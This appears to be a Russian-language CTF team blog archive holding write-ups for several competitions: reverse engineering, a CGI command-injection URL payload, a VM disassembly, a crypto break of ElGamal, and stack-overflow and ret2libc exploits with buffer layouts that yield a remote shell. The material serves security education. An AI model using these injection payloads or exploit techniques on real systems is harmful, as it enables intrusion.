Recently in CTF Category

СПбГУ ИТМО (организаторы CIT CTF) проводят очередные соревнования в жанре Capture The Flag.
Организаторы обещают преферанс и куртизанокразвлечения всю игру помимо задач по криптоанализу, вирусному анализу, реверсу, администрирования *nix и др.

CTF будет проводиться 8 сентября 2010, начиная с 7 утра по UTC.
Регистрация: http://ctf.ifmo.ru/registration/.

Подробнее:
Сайт — http://ctf.ifmo.ru/
Твиттер — @citctf

P.S. Этот CTF также называется SOCHI CTF 2010 почему-то.
P.P.S. Организаторы не умеют пользоваться полем BCC в письмах, но это ж ничего страшного, спамеров то у нас нет. :)

Совсем забыли выложить наши решения задач с smpCTF, на котором мы кстати заняли 6 место из 196 команд (649 человек). Среди русских команд мы первые.

Непосредственно writeup доступен на сайте smpCTF (PDF, 310 Кб).

Для тех, кто не доверяет продуктам Adobe и боится протрояненых pdf, — в google docs.

Binary500 является исполняемым ELF'ом для SPARC V9. Дизассемблированный листинг на первый взгляд похож на смесь IA32 + ESA/390 в синтаксисе AT&T. После знакомства с архитектурой и используемыми соглашениями, все становится на свои места:
Процессор имеет 32 64-х битных регистров общего назначения: global %g0-%g7, out %o0-%o7, local %l0-%l7, in %i0-%i7, 32 регистра FPU и систему быстрых, но простых команд длиной 32 бита каждая. Некоторые регистры имеют особое назначение: %g0 всегда содержит ноль, %o6 также известен как %sp (stack pointer), %i6 - %fp (frame pointer), %o7 содержит адрес текущей инструкции при выполнении вызова подпрограммы и используется для определения адреса возврата. Регистры %o0-%o5 используются для передачи аргументов в процедуры, команда, save сохраняет и меняет mapping регистров в процедуре, и %i0-%i5 будут содержать значения из %o, то есть, переданные аргументы. %o0 содержит возвращаемое значение из процедуры.
Также стоит отметить специфику выполнения циклов: инструкция, следующая за командой условного перехода исполняется всегда. Но если условный переход не был выполнен, ее результат аннулируется.
Можно приступать к разбору.

Binary200 представляет собой обычный 32-х битный ELF. Наверное его можно позапускать, но это не наш метод.
IDA подсказала, что на борту имеется 2 больших функции sub_B40 (содержит connect + write) и main (содержит printf). Коннект показался интереснее.
В sub_B40 видим копирование 4-х массивов из области глобальных переменных в стековый буфер. Далее 2 цикла расшифровки скопированных буферов. Единственная сложность - это заметить циклы расшифровки, разбавленные весьма своеобразной реализацией функции вроде return (str + strlen(str)).
Расшифровав строки, получаем 'http://is.gd/bWsIR' и '192.168.69.77'. Конечно, сразу же смутил сокет типа AF_UNIX, а этот адрес укрепил подозрение в мусорности этого кода.
В main видим похожий код расшифрования и сразу сразу получаем ссылку http://is.gd/bUBRD, ведущую на фильм про зоофилию в Колумбии. Название страницы и есть ответ. Скрипт прилагается.

Binary300 - x86-64 ELF. IDA сказала, что он считает md5 от 256 байт по смещению 0 и смещению 17 от себя, проверят хеш по фильтру Блума и ксорит хеши с Encrypted Key, если хеш прошел проверку. Результат двух ксоров и есть Decrypted Key. Родилось предположение проверить хеши от всех смещений файла фильтром Блума, поксорить с Encrypted Key и получить флаг. Сначала была частично выдрана реализация фильтра из бинарника, но потом найдена здесь. В результате только хеши от 5 смещений проходили через фильтр. Высчитанные для них Decrypted Key не удовлетворили чекер.
Конвертация полученных Decrypted Key в строковое представление дало только одну корректную строку mYg0dthi$isD@k3y, которая и являлась флагом. К слову, этот Decrypted Key соответствует смещениям 0 и 17. То есть, для решения таска нужно было сконвертировать в строку Decrypted Key, который программа выводит при запуске. Скрипт прилагается.

Histograph... Сервис представляет из себя CGI-программу launch в виде ELF-бинарника. На вход принимает GET-параметры:
action - запрошенное действие, мини-программа на собственном языке в каталоге ./actions
arg - дополнительный параметр для определенных action'ов
in, out - имена входных и выходных файлов.

Флаги хранит в каталоге ./data в виде гистограмм-битмапов.

Соответственно, на каждый запрос подгружается нужная подпрограмма, и интерпретируется-выполняется.
Из полезных подпрограмм set (установить флаг - сгенерировать картинку по флагу), get (получить флаг-картинку), hint (типа подсказка).

Виртуальная машина представляет из себя 16-ти битный процессор с обычными командами типа MOV, PUSH, POP, CALL, RETN,... и необычными - печать значения переменной в консоль, читать / писать символ в файловый поток, system и т.д., всего 28 команд. Каждая команда - байт опкода + 1, 2 или 3 16-ти битных операнда. Зная это, несложно написать простой дизассемблер :)

Изучив подпрограмму get, можно узнать, что если запросить файл, состоящий из 111 и более букв o, можно выполнять произвольные команды, например, так:
launch?action=get&in=myfile&arg=echo 'Content-Type:text/plain\r\n';ls

Изучив hint, можно сделать
launch?action=hint&arg=3255
и получить подсказку в виде

struct registers{unsigned short ip;unsigned short sp;unsigned short bp;} reg;

enum opcodes{SET=0x0,MOV=0x1,ADD=0x2,SUB=0x3,MUL=0x4,
JMP=0x5,JE=0x6,JA=0x7,JB=0x8,CALL=0x9,RET=0xa,DIV=0xb,READ=0x10,WRITE=0x11,
PRINT=0x12,EXEC=0x13,PUSH=0x20,POP=0x21,ENTER=0x22,LEAVE=0x23,GETBP=0x24,PTR=0x25,MOVPTR=0x26,
END=0x30,DUMP=0x40,CONTTYPE=0x41,SHOWSHORT=0x42,GETSHORT=0x43};

Не знаю, как она поможет на этом этапе, когда дизассемблер уже написан.

Осталось 2 вопроса: как туда залить этот файл с oooo, чтобы потом получать список файлов-картинок, и как затем распознавать эти картинки. Вероятно, надо ковырять подпрограмму set. Собственно, проблема с картинками и заставила отступиться от сервиса во время игры.

Дизассемблер, launch, подпрограммы прилагаются.

UPD: Подпрограмма echo позволяет также создавать файлы, если указан параметр out. Таким образом, создать файл с ooo...ooo можно так:
launch?action=echo&out=myfile&arg=oooooo...ooo

UPD2: Генерация картинок, подпрограмма set.
0. Вывод заголовков битмапа в файл и stdout.
1. Вычисляется сумма по символам флага: Sum = flag[i] * (i + 1) mod 256, i =0,31
2. Флаг кодируется с учетом вычисленного значения Sum и таблицы, находящейся по смещению 0x04B3 в set:
index = (flag[i] + Sum) mod 256
flag[i] = table[index]
3. Формирование битмап-картинки.
Картинка представляет из себя изображение размера 500 x 300. По краям гистограммы белые поля, сама гистограмма расположена по x от 26 (0x1A) до 474 (0x1DA) и по y от 22 (0x16) до 278 (0x116).
Заполнение битмапа представляет собой два вложенных цикла по высоте и ширине картинки:
for (i = 0; i < 300; i++)
for (j =0; j < 500; j++)
draw(i,j)

Пиксели, координаты которых не попадают в границы гистограммы, выводятся белым. Оси гистограммы выводятся черным. Если же пиксель не попадает ни на оси, ни на поля, производится вычисление высоты рисуемого столбца гистограммы:
index2 = (j - 26 - 1) / 14
Так как значения j у нас в промежутке от 27 до 474, то index2 принимает значение от 0 до 31, как раз по длине флага.
Далее, вычисляется собственно высота: 278 - flag[index2]. Если полученное значение больше i (текущей отрисовываемой высоты битмапа), то заливаем белым, если равна - рисуем черную окантовку, и рисуем зеленым, если меньше.

Как высчитывать по картинке флаг. Определяем высоту столбца, вычитаем из 278. Получаем значение flag[index2]. Затем находим в таблице table это значение и запоминаем индекс index. Получаем 32 сравнения index = (flag[i] + Sum) mod 256 с двумя неизвестными flag[i] и Sum. Но для так как flag[31] = '=', вычисляем Sum и запросто решаем остальные уравнения.

Сервис сдался. Это было достаточно жестко.

UPD3: PoC - декодер картинок:
test-img : ABCDEFGHIJABCDEFGHIJABCDEFGHIJ1=
0087-4icm-7v79 : VIWW0KCUTYLFJ9TTQH05S0JX7V19WOJ=
Но почему-то не берет encrypted_src/default.

Рассмотрим еще один сервис, по которому никто не добыл ни одного флага. Это сервис svn. Невероятно, но на его анализ и поиск основной уязвимости у меня ушло ДЕСЯТЬ минут, и еще десять на написание эксплойта, который получает флаги с сервиса. В хаскеле я так и не разобрался, поэтому вероятно есть и другие уязвимости. Вероятно все посмотрели, что сервис написан на хаскеле и забили, так сделали и мы, а зря.

Все очень просто, сервис хранит флаги в файлах каталога /home/svn/repo/. Сервис поддерживает следующие команды:
l - получение списка файлов
+<filename> <char> - добавить в файл "+<char>"
-<filename> <char>  - добавить в файл "-<char>"
*<filename> <pos> <char>  - добавить в файл "*<pos> <char>"
<filename> <rev> - получить определенную ревизию файла
<filename> - получить последнюю ревизию файла

Эксплойт состоит в том, что бы сначала послать "l\n", а потом посылать имена файлов полученные на пред. этапе для получения флагов.

Итого:
  • хаскел я так и не знаю
  • команды испугалась незнакомого языка и упустили прекрасную возможность получить флаги.
  • exploit svn.py

В продолжение темы RuCTF2010, хочу рассмотреть еще один уязвимый сервис - CertificateAuthority. Во время игры, флаги с этого сервиса удалось получить только команде SiBears. Сервис CA (certificateauthority.tgz) написан на Java, но это не принципиально. Функционально он представляет собой сервис для выдачи сертификатов и хранения любых сообщений пользователей. Игровые чекеры получали сертификат и оставляли зашифрованное сообщение (флаг).

Предоставленный исходный код содержал функционал не только генерирования сертификата, но и шифрования сообщения, своеобразная подсказка от разработчиков позволила понять в каком формате чекер оставляет сообщения. Почти с первых минут анализа кода стало ясно, что нужно искать уязвимость в криптостойкости применяемого алгоритма. Активный гуглинг на тему дискретного логарифмирования показал, что мы имеем дело со схемой ElGamal. А одним из эффективных алгоритмов дискретного логарифмирования (схема строится на его сложности) является алгоритм Полига-Хеллмана.

Еще гугла, еще кодинга и мы получили PoC (ca.py), но к сожалению игра уже несколько секунд как закончилась, успели только отправить адвайзори без эксплойта. Жаль, что мы взялись за этот сервис так поздно.

Патчинг состоит в использовании достаточно большого простого числа P, на котором генерируется сертификат.

На прошедшем 25 апреля контесте было замечено странное поведение vulnbox'a - глючил tcpdump, а также иногда на консоль валилось что-то типа
BUG: scheduling while atomic: swapper/0/0x10000100

В списке сервисов было нечто под именем GPLv4, которое, к сожалению, мы обнаружили только на следующий день после окончания соревнований: Антон заметил в логе трафика подозрительную UDP-активность - пакеты на произвольные порты, и, что самое забавное, ответы на них от vulnbox.

Как оказалось, это был модуль ядра m.ko, реализующий сетевой фильтр для UDP-трафика. Дизассемблер подсказал, что он принимает команды G (get), P (put), L (list) и хранит флаги в /proc/flags/. UDP-сообщения шифруются инструкцией XOR с ключом 'THINKPAD' первые 8 байт сообщения, следующие 8 байт - XOR с предыдущими 8 байтами этого же сообщения.

Чтобы получить список файлов с флагами, достаточно послать зашифрованную команду 'L', а затем сделать Gfile_name элементам полученного списка файлов.

Также в основной функции-фильтре есть утечка памяти под размер данных UDP-пакета. Вероятно, возможен DOS.

POC прилагается.

На прошедших CodeGate CTF 2010 была пара заданий на удаленное переполнение стека: один и два. Код этих обоих модулей одинаков - вывод строки 'Input:', чтение ввода с помощью getline и memcpy прочитанного в стековый буфер. Работу с сетью обеспечивает xinetd. Различны только данные заголовков:

C:\>readelf -l easy | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
C:\>readelf -l harder | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

Займемся easy.
Функция с говорящим названием func содержит вызов того самого memcpy в буфер размером 0x108 (0xfffffef8):
080484e4 <func>:
 80484e4:    55                       push   %ebp
 80484e5:    89 e5                    mov    %esp,%ebp
 80484e7:    81 ec 18 01 00 00        sub    $0x118,%esp
 80484ed:    8b 45 0c                 mov    0xc(%ebp),%eax
 80484f0:    89 44 24 08              mov    %eax,0x8(%esp)
 80484f4:    8b 45 08                 mov    0x8(%ebp),%eax
 80484f7:    89 44 24 04              mov    %eax,0x4(%esp)
 80484fb:    8d 85 f8 fe ff ff        lea    0xfffffef8(%ebp),%eax
 8048501:    89 04 24                 mov    %eax,(%esp)
 8048504:    e8 ef fe ff ff           call   80483f8 
 8048509:    c9                       leave  
 804850a:    c3                       ret    
Подозревая kernel.randomize_va_space != 0 (что в последствии подтвердилось) и учитывая, что после memcpy EAX указывает на наш стековый буфер, ищем подходящее место для передачи управления после затирания адреса возврата:
080484c0 <frame_dummy>:
 80484c0:    55                       push   %ebp
                                               ...
 80484df:    ff d0                    call   *%eax
 80484e1:    c9                       leave  
 80484e2:    c3                       ret    
 80484e3:    90                       nop    
Берем подходящий шелл-код, например, такой и формируем буфер:
| Shellcode + Padding | 0xABABABAB | 0x080484DF | 0x0D + 0x0A |
| ----0x108 bytes---- |  fake EBP  |ret2call EAX|  endline

Отправляем, коннектимся на указанный в шелл-коде порт, имеем удаленную командную строку, cat /home/easy/flag.txt, флаг получен.

Harder. Используем ret2libc, чтобы выполнить system("sh"). Строку "sh" можно взять из образа от имени функции fflush по адресу 0x080482b9. Чтобы найти адрес system() в libc используем уязвимость форматной строки: переполняем буфер строкой "%x" длиной 0x108 и адресом возврата 0x08048521:
08048521:    89 04 24                 mov    %eax,(%esp)
08048524:    e8 df fe ff ff           call   8048408 <printf@plt>
И соответствующий буфер:
| %x 0x108 bytes | 0xABABABAB | 0x08048521 |
и анализируем стек (показаны результаты трех запусков):
00000113 00000113 00000113
008fe420 0079b420 004b8420
bfba2468 bfb91c18 bf8128c8
007ec345 00689345 003a6345
00a00d20 002c8d20 005e1d20
00000113 00000113 00000113
09420008 09f31008 09238008
08048590 08048590 08048590
Теперь запускаем локально harder в gdb и изучим стек в окрестностях вызова printf:
Breakpoint 2, 0x08048524 in main ()
(gdb) x/16a $esp
0xbffffe00:     0x08048640
0xbffffe04:     0xb7fcdff4
0xbffffe08:     0x08048590 <__libc_csu_init>
0xbffffe0c:     0xbffffe28
0xbffffe10:     0xb7ebc345 <__cxa_atexit+53>
0xbffffe14:     0xb7ff0d20
0xbffffe18:     0x0804859b <__libc_csu_init+11>
0xbffffe1c:     0x00000000
0xbffffe20:     0x08048590 <__libc_csu_init>
0xbffffe24:     0x00000000
0xbffffe28:     0xbffffea8
0xbffffe2c:     0xb7ea3b56 <__libc_start_main+230>
0xbffffe30:     0x00000001
0xbffffe34:     0xbffffed4
0xbffffe38:     0xbffffedc
0xbffffe3c:     0xb7fe1858
Особо интересны значения над 0xbffffe20: gdb подсказывает, что 0xb7ebc345 принадлежит libc, как вероятно, 0xb7ff0d20. Учитывая, что libc грузится в память с выравниванием в одну страницу, находим в сдампленном стеке похожие значения: 007ec345 и 00a00d20. Это говорит, что старший байт адреса у harder, запущенного под xinetd нулевой. Далее, грузим harder в gdb так, чтобы libc оказалось по адресам с нулевым старшим байтом и узнаем адрес system() - на удаленной машине с harder это условие выполнялось автоматически:
(gdb) b *main
Breakpoint 1 at 0x804850b
(gdb) r
Starting program: /tmp/harder

Breakpoint 1, 0x0804850b in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x00149020 <system>
Теперь формируем буфер и отправляем его уязвимой программе до тех пор, пока адреса загрузки libc в не совпадут: Как показала практика, совпадение происходит со 2-20 попытки:
| buffer 0x108 bytes | 0xABABABAB | 0x00149020 | 0xCDCDCDCD | 0x080482b9 |
Здесь 0xCDCDCDCD используется вместо адреса возврата для system(), который ждет параметр по адресу [esp+4]. После отправки эксплоита шлем в сокет "cat /home/harder/flag.txt\n", считываем ответ, флаг получен. Здесь описано несколько иное решение той же задачи.

UPD: Реализация удаленной командной строки через переполнение: easy.pl, harder.pl

Многие популярные хеши, такие как MD5, SHA0, SHA1, SHA2 построены на общем принципе, односторонней функции сжатия Меркле-Дамгарда. Для того чтобы функция имела возможность принимать на вход данные любого размера, они выравниваются таким образом, чтобы их размер был сравним с 448 по модулю 512. Процесс выравнивания выглядит так - к входным данным дописывается единичный бит, оставшиеся биты устанавливаются в 0, а последние 64 устанавливаются в длину сообщения. Основываясь на этой особенности данного семейства хешей , атакующий может провести так называемую length extension attack. Атака заключается в том, что для заданной H(p||m) можно вычислить H(p||m||pad(p||m)||m') зная только m и длину p. Для этого мы инициализируем хеш функцию заданным значением, затем вычисляем и добавляем padding, после этого считаем хеш от m+padding+m', результат будет эквивалентен H(p||m||pad(p||m)||m').
Пример реализации данной атаки для SHA1 прилагается.

Pages

About this Archive

This page is an archive of recent entries in the CTF category.

Fun is the next category.

Find recent content on the main index or look in the archives to find all content.